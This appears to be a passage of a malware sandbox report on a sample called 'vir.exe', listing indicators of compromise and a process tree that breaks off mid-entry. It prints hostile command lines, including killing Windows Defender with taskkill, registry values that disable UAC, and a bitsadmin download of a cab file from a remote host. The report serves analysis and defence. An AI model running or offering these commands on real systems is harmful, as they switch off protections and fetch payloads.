Token: SeDebugPrivilege	3900	Romilyaa.exe
Token: SeDebugPrivilege	3516	taskmgr.exe
Token: SeDebugPrivilege	2488	Romilyaa.exe
Token: SeDebugPrivilege	3740	Romilyaa.exe
Token: SeDebugPrivilege	3852	Romilyaa.exe
Token: SeDebugPrivilege	2876	Romilyaa.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2132	Romilyaa.exe
Token: SeDebugPrivilege	1896	taskmgr.exe
Token: SeDebugPrivilege	3764	Romilyaa.exe
Token: SeDebugPrivilege	3132	Romilyaa.exe
Token: SeDebugPrivilege	1928	Romilyaa.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2456	Romilyaa.exe
Token: SeDebugPrivilege	1664	Romilyaa.exe
Token: SeDebugPrivilege	3956	Romilyaa.exe
Token: SeDebugPrivilege	3992	Romilyaa.exe
Token: SeDebugPrivilege	2972	Romilyaa.exe
Token: SeDebugPrivilege	1680	Romilyaa.exe
Token: SeDebugPrivilege	2996	Romilyaa.exe
Token: SeDebugPrivilege	608	Romilyaa.exe
Token: SeDebugPrivilege	588	Romilyaa.exe
Token: SeDebugPrivilege	2460	Romilyaa.exe
Token: SeDebugPrivilege	1944	Romilyaa.exe
Token: SeDebugPrivilege	3236	taskkill.exe
Token: SeDebugPrivilege	1932	SolaraBootstrapper.exe
Token: SeDebugPrivilege	3920	Umbral.exe
Token: SeDebugPrivilege	3520	Romilyaa.exe
Token: SeDebugPrivilege	3588	!FIXInj.exe
Token: 33	3588	!FIXInj.exe
Token: SeIncBasePriorityPrivilege	3588	!FIXInj.exe
Token: SeDebugPrivilege	3332	Romilyaa.exe
Token: 33	3588	!FIXInj.exe
Token: SeIncBasePriorityPrivilege	3588	!FIXInj.exe
Token: SeDebugPrivilege	2304	Romilyaa.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1636	iexplore.exe
2148	efsui.exe
2148	efsui.exe
2148	efsui.exe
1076	iexplore.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
3928	WinaeroTweaker-1.40.0.0-setup.tmp
2508	taskmgr.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
1676	3.exe
1676	3.exe
1676	3.exe
1076	iexplore.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
4084	Romilyaa.exe
2012	Romilyaa.exe
3564	Romilyaa.exe
3900	Romilyaa.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2148	efsui.exe
2148	efsui.exe
2148	efsui.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
1676	3.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
1676	3.exe
1676	3.exe
1676	3.exe
2508	taskmgr.exe
2508	taskmgr.exe
2508	taskmgr.exe
4084	Romilyaa.exe
2012	Romilyaa.exe
3564	Romilyaa.exe
3900	Romilyaa.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe
3516	taskmgr.exe

Suspicious use of SetWindowsHookEx 23 IoCs

pid	Process
1636	iexplore.exe
1636	iexplore.exe
1852	IEXPLORE.EXE
1852	IEXPLORE.EXE
1076	iexplore.exe
1076	iexplore.exe
2896	IEXPLORE.EXE
2896	IEXPLORE.EXE
1676	3.exe
1676	3.exe
1076	iexplore.exe
1076	iexplore.exe
4032	IEXPLORE.EXE
4032	IEXPLORE.EXE
4084	Romilyaa.exe
1852	IEXPLORE.EXE
1852	IEXPLORE.EXE
2896	IEXPLORE.EXE
2896	IEXPLORE.EXE
3716	IEXPLORE.EXE
3716	IEXPLORE.EXE
112	vlc.exe
2304	Romilyaa.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2832	2776	vir.exe	31
PID 2776 wrote to memory of 2832	2776	vir.exe	31
PID 2776 wrote to memory of 2832	2776	vir.exe	31
PID 2776 wrote to memory of 2832	2776	vir.exe	31
PID 2776 wrote to memory of 2036	2776	vir.exe	32
PID 2776 wrote to memory of 2036	2776	vir.exe	32
PID 2776 wrote to memory of 2036	2776	vir.exe	32
PID 2776 wrote to memory of 2036	2776	vir.exe	32
PID 2036 wrote to memory of 1176	2036	cmd.exe	34
PID 2036 wrote to memory of 1176	2036	cmd.exe	34
PID 2036 wrote to memory of 1176	2036	cmd.exe	34
PID 2036 wrote to memory of 1176	2036	cmd.exe	34
PID 2036 wrote to memory of 1400	2036	cmd.exe	35
PID 2036 wrote to memory of 1400	2036	cmd.exe	35
PID 2036 wrote to memory of 1400	2036	cmd.exe	35
PID 2036 wrote to memory of 1400	2036	cmd.exe	35
PID 2036 wrote to memory of 796	2036	cmd.exe	36
PID 2036 wrote to memory of 796	2036	cmd.exe	36
PID 2036 wrote to memory of 796	2036	cmd.exe	36
PID 2036 wrote to memory of 796	2036	cmd.exe	36
PID 1176 wrote to memory of 532	1176	cmd.exe	39
PID 1176 wrote to memory of 532	1176	cmd.exe	39
PID 1176 wrote to memory of 532	1176	cmd.exe	39
PID 1176 wrote to memory of 532	1176	cmd.exe	39
PID 1400 wrote to memory of 2500	1400	cmd.exe	40
PID 1400 wrote to memory of 2500	1400	cmd.exe	40
PID 1400 wrote to memory of 2500	1400	cmd.exe	40
PID 1400 wrote to memory of 2500	1400	cmd.exe	40
PID 1176 wrote to memory of 2396	1176	cmd.exe	41
PID 1176 wrote to memory of 2396	1176	cmd.exe	41
PID 1176 wrote to memory of 2396	1176	cmd.exe	41
PID 1176 wrote to memory of 2396	1176	cmd.exe	41
PID 1400 wrote to memory of 3060	1400	cmd.exe	42
PID 1400 wrote to memory of 3060	1400	cmd.exe	42
PID 1400 wrote to memory of 3060	1400	cmd.exe	42
PID 1400 wrote to memory of 3060	1400	cmd.exe	42
PID 1176 wrote to memory of 2172	1176	cmd.exe	43
PID 1176 wrote to memory of 2172	1176	cmd.exe	43
PID 1176 wrote to memory of 2172	1176	cmd.exe	43
PID 1176 wrote to memory of 2172	1176	cmd.exe	43
PID 3060 wrote to memory of 900	3060	net.exe	44
PID 3060 wrote to memory of 900	3060	net.exe	44
PID 3060 wrote to memory of 900	3060	net.exe	44
PID 3060 wrote to memory of 900	3060	net.exe	44
PID 1400 wrote to memory of 940	1400	cmd.exe	45
PID 1400 wrote to memory of 940	1400	cmd.exe	45
PID 1400 wrote to memory of 940	1400	cmd.exe	45
PID 1400 wrote to memory of 940	1400	cmd.exe	45
PID 940 wrote to memory of 860	940	net.exe	46
PID 940 wrote to memory of 860	940	net.exe	46
PID 940 wrote to memory of 860	940	net.exe	46
PID 940 wrote to memory of 860	940	net.exe	46
PID 1400 wrote to memory of 2944	1400	cmd.exe	48
PID 1400 wrote to memory of 2944	1400	cmd.exe	48
PID 1400 wrote to memory of 2944	1400	cmd.exe	48
PID 1400 wrote to memory of 2944	1400	cmd.exe	48
PID 2036 wrote to memory of 2648	2036	cmd.exe	49
PID 2036 wrote to memory of 2648	2036	cmd.exe	49
PID 2036 wrote to memory of 2648	2036	cmd.exe	49
PID 2036 wrote to memory of 2648	2036	cmd.exe	49
PID 2036 wrote to memory of 2872	2036	cmd.exe	51
PID 2036 wrote to memory of 2872	2036	cmd.exe	51
PID 2036 wrote to memory of 2872	2036	cmd.exe	51
PID 2036 wrote to memory of 2872	2036	cmd.exe	51

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "1"	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\vir.exe
"C:\Users\Admin\AppData\Local\Temp\vir.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Admin\AppData\Local\Temp\1cd9a4a1-0b5f-40a6-8fb5-ad373cd56360\ProgressBarSplash.exe
  "C:\Users\Admin\AppData\Local\Temp\1cd9a4a1-0b5f-40a6-8fb5-ad373cd56360\ProgressBarSplash.exe" -unpacking
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\!main.cmd" "
  2⤵
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K spread.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1176
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 1 C:\Users\Admin\Desktop
      4⤵
      System Location Discovery: System Language Discovery
      Enumerates system info in registry
      PID:532
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 2 C:\Users\Admin\Desktop
      4⤵
      Enumerates system info in registry
      PID:2396
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy 3 C:\Users\Admin\
      4⤵
      Enumerates system info in registry
      PID:2172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K doxx.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:2500
  - - C:\Windows\SysWOW64\net.exe
      net accounts
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3060
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 accounts
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:900
  - - C:\Windows\SysWOW64\net.exe
      net user
      4⤵
      Suspicious use of WriteProcessMemory
      PID:940
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:860
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist /apps /v /fo table
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2944
- - C:\Windows\SysWOW64\PING.EXE
    ping google.com -t -n 1 -s 4 -4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:796
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WindowsDefender.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K handler.cmd
    3⤵
    PID:2872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K cipher.cmd
    3⤵
    PID:2296
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:2372
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:3448
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:3200
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:3232
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\Rover.exe
    Rover.exe
    3⤵
    - Modifies WinLogon for persistence
    - UAC bypass
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:2340
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\web.htm
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:1076
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1076 CREDAT:275457 /prefetch:2
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:2896
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1076 CREDAT:275461 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:4032
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1076 CREDAT:472078 /prefetch:2
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3716
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\Google.exe
    Google.exe
    3⤵
    - Executes dropped EXE
    PID:1776
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\helper.vbs"
    3⤵
    PID:444
- - C:\Windows\SysWOW64\PING.EXE
    ping google.com -t -n 1 -s 4 -4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1440
- - C:\Windows\SysWOW64\PING.EXE
    ping mrbeast.codes -t -n 1 -s 4 -4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1680
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy Google.exe C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:3280
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy Rover.exe C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:3312
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy spinner.gif C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:3332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K bloatware.cmd
    3⤵
    - Loads dropped DLL
    PID:3428
  - - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\bloatware\1.exe
      1.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1876
  - - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\bloatware\3.exe
      3.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:1676
    - - C:\Users\Admin\AppData\Local\Temp\psiphon-tunnel-core.exe
        
        C:\Users\Admin\AppData\Local\Temp\psiphon-tunnel-core.exe --config "C:\Users\Admin\AppData\Local\Psiphon3\psiphon.config" --serverList "C:\Users\Admin\AppData\Local\Psiphon3\server_list.dat"
        5⤵
        Executes dropped EXE
        Unexpected DNS network traffic destination
        Modifies system certificate store
        
        PID:3672
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://ipfounder.net/?sponsor_id=1BC527D3D09985CF&sponsor=psiphon&client_region=GB&client_asn=60068&client_platform=windows&secret=580EfjEI29xL3hoyU6dgP4vSEVxdcGI7JDFkxgjds7PHulSEF0wmORpvzbqxyTwYtpowsY4xMFnfWEnTghe6l8jiV9K5QSZoir2i6fDeKJD6EhL6DkoYTEMu2EE9YJvy3LdCUZ7ncdVC6ipgWx06wznvDLbY1ajfcfRGCpfsQJei2q6tb0GSFh1QK3x3qXKwyjmNPc5J&psireason=connect&psicash=eyJtZXRhZGF0YSI6eyJ1c2VyX2FnZW50IjoiUHNpcGhvbi1Qc2lDYXNoLVdpbmRvd3MiLCJ2IjoxfSwidGltZXN0YW1wIjoiMjAyNS0wMi0wN1QxMzozNzo0Ny42MDdaIiwidG9rZW5zIjpudWxsLCJ2IjoxfQ
        5⤵
        
        PID:2588
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\bloatware\2.hta"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: GetForegroundWindowSpam
      PID:3632
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer dwnl-task-91316 /download /priority foreground http://dwrapper-dev.herokuapp.com/beetle-cab.cab "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\dwnl_beetle-cab.cab" | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_start.txt" & echo %errorlevel% > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_exitcode.txt"
        5⤵
        
        PID:2568
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer dwnl-task-91316 /download /priority foreground http://dwrapper-dev.herokuapp.com/beetle-cab.cab "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\dwnl_beetle-cab.cab"
        6⤵
        Download via BitsAdmin
        
        PID:984
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:796
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1540
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell Get-MpComputerStatus > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_defenderVersionPowershell.txt"
        5⤵
        
        PID:3580
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-MpComputerStatus
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3660
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3792
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3936
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:624
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3480
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2236
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3104
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1960
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2680
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:4072
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1896
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3772
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4080
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2276
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3236
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3200
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3992
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2532
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2524
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3800
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1292
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2056
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3908
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3508
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2424
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3544
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3892
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3592
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3232
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2132
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:588
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3092
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2184
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1412
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:4056
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2160
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3984
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3884
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2880
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1224
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3340
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:972
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1976
    - - C:\Windows\SysWOW64\cmd.exe
        
